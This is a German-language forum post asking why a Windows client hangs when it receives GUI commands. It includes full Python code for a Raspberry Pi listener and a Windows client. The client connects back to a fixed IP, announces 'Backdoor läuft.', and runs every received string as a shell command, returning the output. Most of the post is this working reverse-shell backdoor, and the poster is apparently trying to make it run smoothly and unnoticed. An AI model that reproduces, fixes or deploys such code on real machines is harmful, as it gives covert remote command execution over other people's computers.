der sender ist mein raspberry pi, der empfänger ein windows 10.
Es funktioniert alles gut, aber wenn ich "start firefox" oder MSG * Hallo sende bleibt der empfänger einfach stehen wie kann ich ein fenster öffnen dass der empfänger einfach weiterläuft?
ich las schon hunderte webseiten aber fand keine lösung.
ich hoffe ihr könnt mir helfen.
lg Fire Spike
sender:
Code: Alles auswählen
import socket
import sys
host = ''
port = 5756
mainloop = True
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print("Verbindung mit " + addr[0])
data = connection.recv(2048).decode()
print(data)
while mainloop == True:
cmd = input("Befehl: ")
connection.send(cmd.encode())
data = connection.recv(2048).decode("cp850")
if data == "qt_abbrechen":
print("Verbindung getrennt")
mainloop = False
else:
print(data)
connection.close()
empfänger:
Code: Alles auswählen
import socket
import subprocess
import sys
host = '192.168.178.45'
port = 5756
abbrechen = "qt_abbrechen"
send_ok = "Backdoor läuft."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(send_ok.encode())
while True:
data = s.recv(2048).decode()
if data == "quit":
s.send(abbrechen.encode("cp850"))
sys.exit()
else:
proc = subprocess.Popen(data,
shell=True,
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout = proc.stdout.read()
stderr = proc.stderr.read()
s.send(stdout + stderr)